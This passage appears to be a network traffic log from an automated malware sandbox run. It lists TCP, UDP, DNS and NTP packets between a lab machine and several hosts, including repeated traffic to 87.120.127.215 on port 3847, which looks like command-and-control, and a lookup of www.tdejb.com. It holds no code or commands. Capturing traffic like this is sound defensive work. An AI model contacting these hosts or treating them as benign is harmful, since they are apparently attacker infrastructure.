Dec 18, 2024 19:28:46.511584044 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:46.511744976 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:46.511790037 CET	49959	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:46.513323069 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:46.554141998 CET	49959	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:46.633879900 CET	49959	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:46.753459930 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:46.753642082 CET	49959	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:46.873462915 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:47.198620081 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:47.199127913 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:47.199141979 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:47.199214935 CET	49959	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:47.200442076 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:47.200524092 CET	49959	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:47.204890966 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:47.205012083 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:47.205066919 CET	49959	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:47.205760956 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:47.205879927 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:47.205982924 CET	49959	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:47.206939936 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:47.207030058 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:47.207087994 CET	49959	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:47.208664894 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:47.208718061 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:47.208770990 CET	49959	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:47.209732056 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:47.209783077 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:47.209846973 CET	49959	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:47.211385012 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:47.211513996 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:47.211572886 CET	49959	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:47.213140011 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:47.213237047 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:47.213301897 CET	49959	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:47.214844942 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:47.215080023 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:47.215145111 CET	49959	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:47.216604948 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:47.216717005 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:47.216967106 CET	49959	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:47.218331099 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:47.218377113 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:47.218525887 CET	49959	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:47.220150948 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:47.220269918 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:47.221755981 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:47.221817970 CET	49959	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:47.221899986 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:47.223488092 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:47.223551989 CET	49959	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:47.223602057 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:47.223689079 CET	49959	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:47.225306988 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:47.225414038 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:47.225461006 CET	49959	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:47.226946115 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:47.227044106 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:47.227108002 CET	49959	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:47.228724957 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:47.228863955 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:47.228920937 CET	49959	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:47.230379105 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:47.230398893 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:47.230492115 CET	49959	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:47.232134104 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:47.232361078 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:47.232404947 CET	49959	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:47.233807087 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:47.233926058 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:47.233974934 CET	49959	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:47.235848904 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:47.235861063 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:47.235912085 CET	49959	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:47.237348080 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:47.237514973 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:47.237689972 CET	49959	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:47.239031076 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:47.239123106 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:47.239331007 CET	49959	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:47.240756035 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:47.240926027 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:47.240982056 CET	49959	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:47.242539883 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:47.242655039 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:47.242757082 CET	49959	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:47.244210958 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:47.244347095 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:47.244396925 CET	49959	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:47.245960951 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:47.246124029 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:47.246175051 CET	49959	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:47.247657061 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:47.247747898 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:47.247805119 CET	49959	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:47.249356985 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:47.249442101 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:47.249733925 CET	49959	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:47.251548052 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:47.251626015 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:47.251672983 CET	49959	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:47.253016949 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:47.253118038 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:47.253195047 CET	49959	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:47.254534960 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:47.254641056 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:47.254694939 CET	49959	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:47.256396055 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:47.256473064 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:47.256647110 CET	49959	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:47.258054018 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:47.258131981 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:47.258199930 CET	49959	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:47.259757042 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:47.260052919 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:47.260330915 CET	49959	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:47.261670113 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:47.261765957 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:47.261811972 CET	49959	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:47.263236046 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:47.263333082 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:47.263391018 CET	49959	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:47.265047073 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:47.265216112 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:47.265269041 CET	49959	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:47.266659021 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:47.266774893 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:47.266850948 CET	49959	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:47.268403053 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:47.268511057 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:47.268568993 CET	49959	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:47.270150900 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:47.270239115 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:47.270287991 CET	49959	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:47.271845102 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:47.271955967 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:47.272008896 CET	49959	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:47.273572922 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:47.273698092 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:47.273741007 CET	49959	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:47.275284052 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:47.275407076 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:47.275492907 CET	49959	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:47.277023077 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:47.277147055 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:47.277348995 CET	49959	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:47.278739929 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:47.278801918 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:47.278856039 CET	49959	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:47.280492067 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:47.280644894 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:47.280700922 CET	49959	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:47.282215118 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:47.282341003 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:47.282404900 CET	49959	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:47.283925056 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:47.284023046 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:47.284178972 CET	49959	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:47.285665035 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:47.285762072 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:47.285847902 CET	49959	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:47.287422895 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:47.287509918 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:47.287566900 CET	49959	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:47.289268017 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:47.289315939 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:47.289402008 CET	49959	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:47.291014910 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:47.291096926 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:47.291141987 CET	49959	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:47.292646885 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:47.292756081 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:47.292824030 CET	49959	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:47.395579100 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:47.395626068 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:47.395693064 CET	49959	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:47.396248102 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:47.396367073 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:47.396409035 CET	49959	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:47.397809982 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:47.397923946 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:47.397979021 CET	49959	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:47.399761915 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:47.418401957 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:47.418468952 CET	49959	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:47.418520927 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:47.418998957 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:47.419162035 CET	49959	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:47.419173002 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:47.420412064 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:47.420424938 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:47.420475960 CET	49959	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:47.421761036 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:47.421802044 CET	49959	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:47.422091961 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:47.422240973 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:47.422302961 CET	49959	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:47.423485041 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:47.423640966 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:47.423827887 CET	49959	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:47.424856901 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:47.424868107 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:47.424918890 CET	49959	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:47.425149918 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:47.425162077 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:47.425203085 CET	49959	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:47.561043024 CET	49959	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:47.682621956 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:47.682688951 CET	49959	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:47.804547071 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:48.102901936 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:48.103018045 CET	49959	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:48.103046894 CET	49959	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:48.103373051 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:48.103425980 CET	49959	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:48.103879929 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:48.103929043 CET	49959	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:48.222702980 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:48.222754955 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:56.257448912 CET	49975	443	192.168.2.6	45.149.241.141
Dec 18, 2024 19:28:56.299362898 CET	443	49975	45.149.241.141	192.168.2.6
Dec 18, 2024 19:28:57.273339033 CET	50001	443	192.168.2.6	45.149.241.141
Dec 18, 2024 19:28:57.273374081 CET	443	50001	45.149.241.141	192.168.2.6
Dec 18, 2024 19:28:57.273444891 CET	50001	443	192.168.2.6	45.149.241.141
Dec 18, 2024 19:28:57.273556948 CET	50001	443	192.168.2.6	45.149.241.141
Dec 18, 2024 19:28:57.273566961 CET	443	50001	45.149.241.141	192.168.2.6
Dec 18, 2024 19:29:07.273015022 CET	50001	443	192.168.2.6	45.149.241.141
Dec 18, 2024 19:29:07.315320969 CET	443	50001	45.149.241.141	192.168.2.6
Dec 18, 2024 19:29:08.273314953 CET	50028	443	192.168.2.6	45.149.241.141
Dec 18, 2024 19:29:08.273353100 CET	443	50028	45.149.241.141	192.168.2.6
Dec 18, 2024 19:29:08.273623943 CET	50028	443	192.168.2.6	45.149.241.141
Dec 18, 2024 19:29:08.273715973 CET	50028	443	192.168.2.6	45.149.241.141
Dec 18, 2024 19:29:08.273725986 CET	443	50028	45.149.241.141	192.168.2.6
Dec 18, 2024 19:29:08.725431919 CET	443	49975	45.149.241.141	192.168.2.6
Dec 18, 2024 19:29:08.725545883 CET	49975	443	192.168.2.6	45.149.241.141

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 18, 2024 19:27:10.891216993 CET	64228	53	192.168.2.6	1.1.1.1
Dec 18, 2024 19:27:11.545295954 CET	53	64228	1.1.1.1	192.168.2.6
Dec 18, 2024 19:28:15.094750881 CET	64484	53	192.168.2.6	1.1.1.1
Dec 18, 2024 19:28:15.096415997 CET	62869	53	192.168.2.6	1.1.1.1
Dec 18, 2024 19:28:15.100622892 CET	55668	53	192.168.2.6	1.1.1.1
Dec 18, 2024 19:28:15.102077961 CET	61685	53	192.168.2.6	1.1.1.1
Dec 18, 2024 19:28:15.103343010 CET	55611	53	192.168.2.6	1.1.1.1
Dec 18, 2024 19:28:15.104286909 CET	64271	53	192.168.2.6	1.1.1.1
Dec 18, 2024 19:28:15.105807066 CET	61875	53	192.168.2.6	1.1.1.1
Dec 18, 2024 19:28:15.235651970 CET	53	62869	1.1.1.1	192.168.2.6
Dec 18, 2024 19:28:15.238832951 CET	53	55668	1.1.1.1	192.168.2.6
Dec 18, 2024 19:28:15.239346027 CET	53	61685	1.1.1.1	192.168.2.6
Dec 18, 2024 19:28:15.242846012 CET	53	61875	1.1.1.1	192.168.2.6
Dec 18, 2024 19:28:15.243196011 CET	53	55611	1.1.1.1	192.168.2.6
Dec 18, 2024 19:28:15.914649010 CET	53	64484	1.1.1.1	192.168.2.6
Dec 18, 2024 19:28:15.917907953 CET	61876	123	192.168.2.6	162.159.200.1
Dec 18, 2024 19:28:15.917999983 CET	61876	123	192.168.2.6	193.171.23.163
Dec 18, 2024 19:28:15.918076038 CET	61876	123	192.168.2.6	213.239.239.164
Dec 18, 2024 19:28:15.918121099 CET	61876	123	192.168.2.6	129.134.29.123
Dec 18, 2024 19:28:15.918267012 CET	61876	123	192.168.2.6	129.6.15.28
Dec 18, 2024 19:28:15.918293953 CET	61876	123	192.168.2.6	62.149.0.30
Dec 18, 2024 19:28:17.017215967 CET	123	61876	162.159.200.1	192.168.2.6
Dec 18, 2024 19:28:17.024213076 CET	123	61876	129.6.15.28	192.168.2.6
Dec 18, 2024 19:28:17.112554073 CET	123	61876	213.239.239.164	192.168.2.6
Dec 18, 2024 19:28:17.114157915 CET	123	61876	193.171.23.163	192.168.2.6
Dec 18, 2024 19:28:17.122920036 CET	123	61876	62.149.0.30	192.168.2.6
Dec 18, 2024 19:28:17.245846033 CET	123	61876	129.134.29.123	192.168.2.6
Dec 18, 2024 19:28:23.081120968 CET	53	59969	1.1.1.1	192.168.2.6
Dec 18, 2024 19:28:23.202151060 CET	53	57240	1.1.1.1	192.168.2.6
Dec 18, 2024 19:28:29.762327909 CET	56622	53	192.168.2.6	1.1.1.1
Dec 18, 2024 19:28:29.762794018 CET	49548	53	192.168.2.6	1.1.1.1
Dec 18, 2024 19:28:29.763156891 CET	63788	53	192.168.2.6	1.1.1.1
Dec 18, 2024 19:28:29.763437986 CET	59368	53	192.168.2.6	1.1.1.1
Dec 18, 2024 19:28:29.899761915 CET	53	56622	1.1.1.1	192.168.2.6
Dec 18, 2024 19:28:29.900048018 CET	53	49548	1.1.1.1	192.168.2.6
Dec 18, 2024 19:28:29.900363922 CET	53	63788	1.1.1.1	192.168.2.6
Dec 18, 2024 19:28:29.900621891 CET	53	59368	1.1.1.1	192.168.2.6

ICMP Packets

Timestamp	Source IP	Dest IP	Checksum	Code	Type
Dec 18, 2024 19:28:26.229291916 CET	192.168.2.6	1.1.1.1	c2a8	(Port unreachable)	Destination Unreachable

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 18, 2024 19:27:10.891216993 CET	192.168.2.6	1.1.1.1	0x9038	Standard query (0)	www.tdejb.com	A (IP address)	IN (0x0001)	false
Dec 18, 2024 19:28:15.094750881 CET	192.168.2.6	1.1.1.1	0x3e7e	Standard query (0)	ntp.time.in.ua	A (IP address)	IN (0x0001)	false
Dec 18, 2024 19:28:15.096415997 CET	192.168.2.6	1.1.1.1	0xbce6	Standard query (0)	time-a-g.nist.gov	A (IP address)	IN (0x0001)	false
Dec 18, 2024 19:28:15.100622892 CET	192.168.2.6	1.1.1.1	0x75ac	Standard query (0)	time.facebook.com	A (IP address)	IN (0x0001)	false
Dec 18, 2024 19:28:15.102077961 CET	192.168.2.6	1.1.1.1	0x6459	Standard query (0)	ntp1.hetzner.de	A (IP address)	IN (0x0001)	false
Dec 18, 2024 19:28:15.103343010 CET	192.168.2.6	1.1.1.1	0x1be2	Standard query (0)	ts1.aco.net	A (IP address)	IN (0x0001)	false
Dec 18, 2024 19:28:15.104286909 CET	192.168.2.6	1.1.1.1	0x8574	Standard query (0)	time.windows.com	A (IP address)	IN (0x0001)	false
Dec 18, 2024 19:28:15.105807066 CET	192.168.2.6	1.1.1.1	0x3803	Standard query (0)	time.cloudflare.com	A (IP address)	IN (0x0001)	false
Dec 18, 2024 19:28:29.762327909 CET	192.168.2.6	1.1.1.1	0xb32d	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Dec 18, 2024 19:28:29.762794018 CET	192.168.2.6	1.1.1.1	0x88f4	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Dec 18, 2024 19:28:29.763156891 CET	192.168.2.6	1.1.1.1	0x16aa	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Dec 18, 2024 19:28:29.763437986 CET	192.168.2.6	1.1.1.1	0x8e3d	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 18, 2024 19:27:00.662465096 CET	1.1.1.1	192.168.2.6	0xb680	No error (0)	fp2e7a.wpc.2be4.phicdn.net	fp2e7a.wpc.phicdn.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 18, 2024 19:27:00.662465096 CET	1.1.1.1	192.168.2.6	0xb680	No error (0)	fp2e7a.wpc.phicdn.net		192.229.221.95	A (IP address)	IN (0x0001)	false
Dec 18, 2024 19:27:11.545295954 CET	1.1.1.1	192.168.2.6	0x9038	No error (0)	www.tdejb.com	tdejb.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 18, 2024 19:27:11.545295954 CET	1.1.1.1	192.168.2.6	0x9038	No error (0)	tdejb.com		202.71.109.228	A (IP address)	IN (0x0001)	false
Dec 18, 2024 19:28:15.235651970 CET	1.1.1.1	192.168.2.6	0xbce6	No error (0)	time-a-g.nist.gov		129.6.15.28	A (IP address)	IN (0x0001)	false
Dec 18, 2024 19:28:15.238832951 CET	1.1.1.1	192.168.2.6	0x75ac	No error (0)	time.facebook.com		129.134.29.123	A (IP address)	IN (0x0001)	false
Dec 18, 2024 19:28:15.239346027 CET	1.1.1.1	192.168.2.6	0x6459	No error (0)	ntp1.hetzner.de		213.239.239.164	A (IP address)	IN (0x0001)	false
Dec 18, 2024 19:28:15.242846012 CET	1.1.1.1	192.168.2.6	0x3803	No error (0)	time.cloudflare.com		162.159.200.1	A (IP address)	IN (0x0001)	false
Dec 18, 2024 19:28:15.242846012 CET	1.1.1.1	192.168.2.6	0x3803	No error (0)	time.cloudflare.com		162.159.200.123	A (IP address)	IN (0x0001)	false
Dec 18, 2024 19:28:15.243196011 CET	1.1.1.1	192.168.2.6	0x1be2	No error (0)	ts1.aco.net		193.171.23.163	A (IP address)	IN (0x0001)	false
Dec 18, 2024 19:28:15.243390083 CET	1.1.1.1	192.168.2.6	0x8574	No error (0)	time.windows.com	twc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 18, 2024 19:28:15.914649010 CET	1.1.1.1	192.168.2.6	0x3e7e	No error (0)	ntp.time.in.ua		62.149.0.30	A (IP address)	IN (0x0001)	false
Dec 18, 2024 19:28:29.899761915 CET	1.1.1.1	192.168.2.6	0xb32d	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Dec 18, 2024 19:28:29.899761915 CET	1.1.1.1	192.168.2.6	0xb32d	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Dec 18, 2024 19:28:29.900048018 CET	1.1.1.1	192.168.2.6	0x88f4	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Dec 18, 2024 19:28:29.900363922 CET	1.1.1.1	192.168.2.6	0x16aa	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Dec 18, 2024 19:28:29.900363922 CET	1.1.1.1	192.168.2.6	0x16aa	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
